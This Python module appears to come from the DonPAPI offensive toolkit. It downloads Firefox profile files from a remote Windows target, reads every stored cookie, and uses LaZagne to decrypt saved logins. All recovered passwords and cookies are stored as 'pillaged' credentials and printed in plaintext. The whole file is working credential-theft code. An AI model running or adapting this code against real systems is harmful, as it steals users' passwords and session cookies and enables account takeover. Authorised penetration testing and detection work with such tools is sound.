DonPAPI/software/browser/firefox_decrypt.py

import ntpath
import sys
import sqlite3,os,json,base64,binascii
from lib.toolbox import bcolors
from lib.dpapi import *
from lazagne.softwares.browsers.mozilla import Mozilla, firefox_browsers
from lazagne.config import constant


class FIREFOX_LOGINS:
	def __init__(self, options,logger,user,fileops,db):
		self.logindata_path = None
		self.localstate_path = None
		self.localstate_dpapi = None
		self.cookie_path = None
		self.options = options
		self.logging= logger
		self.myfileops = fileops
		self.db = db
		self.aeskey = None
		self.masterkey = None
		self.masterkey_guid = None
		self.logins = {}
		self.cookies = {}
		self.user = user
		self.lasagne_firefox_browsers = firefox_browsers
		self.lasagne_Mozilla = None

	def get_files(self):
		try:
			#files_to_get = os.path.join(profile, 'signons.sqlite')) (profile, 'logins.json')key3.db , key4.db
			#directory_to_get = ['']
			for mybrowser in firefox_browsers:
				blacklist = ['.', '..']
				browser_path=mybrowser[1] #PATH Style is (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'),
				browser_name=mybrowser[0]
				APPDATA=f"Users\\{self.user.username}\\AppData\\Roaming"

				path = browser_path.format(APPDATA=APPDATA)
				self.logging.debug(f"[{self.options.target_ip}] [+] Looking for Mozilla {browser_name} Profile Files in {path}")
				try:
					# Downloading profile file
					localfile = self.myfileops.get_file(ntpath.join(path, 'profiles.ini'))
					if localfile!=None :
						self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{self.user.username}{bcolors.ENDC} Mozilla {browser_name} Profile files : {ntpath.join(path, 'profiles.ini')}")
					else:
						continue
				except Exception as ex:
					self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files profiles.ini for Mozilla {browser_name} - browser doesn't exist{bcolors.ENDC}")
					self.logging.debug(ex)
					continue
				#Into profiles directories
				tmp_pwd = ntpath.join(path, 'Profiles')
				my_directory = self.myfileops.do_ls(tmp_pwd, wildcard='*', display=False)
				for infos in my_directory:
					longname, is_directory = infos
					self.logging.debug("ls returned file %s" % longname)
					if longname not in blacklist and is_directory :# and longname=='profiles.ini':
						try:
							self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{self.user.username}{bcolors.ENDC} Mozilla Profile Directory : {longname}")
							# Downloading profile important files
							for file_to_dl in ['signons.sqlite','logins.json','key3.db', 'key4.db','cookies.sqlite','cookies.sqlite-wal','cookies.sqlite-shm']:
								try:
									localfile = self.myfileops.get_file(ntpath.join(ntpath.join(tmp_pwd, longname),file_to_dl),allow_access_error=True)
									if file_to_dl=='cookies.sqlite' and localfile :
										self.get_cookies(localfile)

								except Exception as ex:
									self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files for Mozilla{bcolors.ENDC}")
									self.logging.debug(ex)
									continue
						except Exception as ex:
							self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Getting Files for Mozilla{bcolors.ENDC}")
							self.logging.debug(ex)
							continue

		except Exception as ex:
			self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception FIREFOX get_files{bcolors.ENDC}")
			self.logging.debug(ex)
			return None

	def get_cookies(self,localfile):
			"""
			Get encrypted data (user / password) and host from the json or sqlite files
			"""
			try:
				conn = sqlite3.connect(localfile)
				c = conn.cursor()
				c.execute('SELECT name,value,host,path,expiry,isSecure FROM moz_cookies;')

				# Using sqlite3 database
				for row in c:
					name = row[0]
					value = row[1]
					host = row[2]
					path = row[3]
					expiry = row[4]
					self.db.add_cookies(credz_type='browser-firefox',
					                    credz_name=name,
					                    credz_value=value,
					                    credz_expires_utc=expiry,
					                    credz_target=host,
					                    credz_path=path,
					                    pillaged_from_computer_ip=self.options.target_ip,
					                    pillaged_from_username=self.user)
					self.logging.info(
						f"[{self.options.target_ip}] [+]  {bcolors.OKGREEN}[Mozilla Cookie] {bcolors.ENDC} for {host} {bcolors.OKBLUE}[ {name}:{value} ] {bcolors.ENDC} expire time: {(datetime.fromtimestamp(expiry)).strftime('%b %d %Y %H:%M:%S')}")
				return 1
			except Exception as ex:
				self.logging.debug(f"[{self.options.target_ip}] Firefox Cookie decoding exception : {ex}")

	def run(self):
		#Download needed files
		self.get_files()
		#Set new starting path
		#Extract from Lazagne config
		profile = {
		'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
		'USERPROFILE': u'{drive}:\\Users\\{user}\\',
		'HOMEDRIVE': u'{drive}:',
		'HOMEPATH': u'{drive}:\\Users\\{user}',
		'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
		'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
		'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
		}
		APPDATA=profile['APPDATA'].replace('{drive}:','{download_path}')
		APPDATA=APPDATA.format(download_path=self.myfileops.get_download_directory(),user=self.user.username)

		#Run Lasagne
		for mybrowser in firefox_browsers:
			try:
				name=mybrowser[0]
				path=mybrowser[1]
				browserpath=path.format(APPDATA=APPDATA).replace('\\','/')
				myMozilla=Mozilla(name,browserpath,logger=self.logging)
				pwd_found = myMozilla.run()
				if len(pwd_found)>0:
					longname=name
					self.user.files[longname] = {}
					self.user.files[longname]['type'] = 'MozillaLoginData'
					self.user.files[longname]['status'] = 'decrypted'
					self.user.files[longname]['path'] = browserpath

					for finding in pwd_found:
						self.logins[finding['URL']] = {}
						self.logins[finding['URL']]['username'] = finding['Login']
						self.logins[finding['URL']]['password'] = finding['Password']
						############PROCESSING DATA
						self.db.add_credz(credz_type='browser-firefox',
										  credz_username=finding['Login'],
										  credz_password=finding['Password'],
										  credz_target=finding['URL'],
										  credz_path=browserpath,
										  pillaged_from_computer_ip=self.options.target_ip,
										  pillaged_from_username=self.user.username)
						self.logging.info(
							f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [Firefox Password] {bcolors.ENDC} for {finding['URL']} [ {bcolors.OKBLUE}{self.logins[finding['URL']]['username']} : {self.logins[finding['URL']]['password']}{bcolors.ENDC} ]")
					self.user.files[longname]['secret'] = self.logins


			except Exception as ex:
				self.logging.debug(	f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for Mozilla {self.user.username} {bcolors.ENDC}")
				self.logging.debug(ex)
				continue
		return self.logins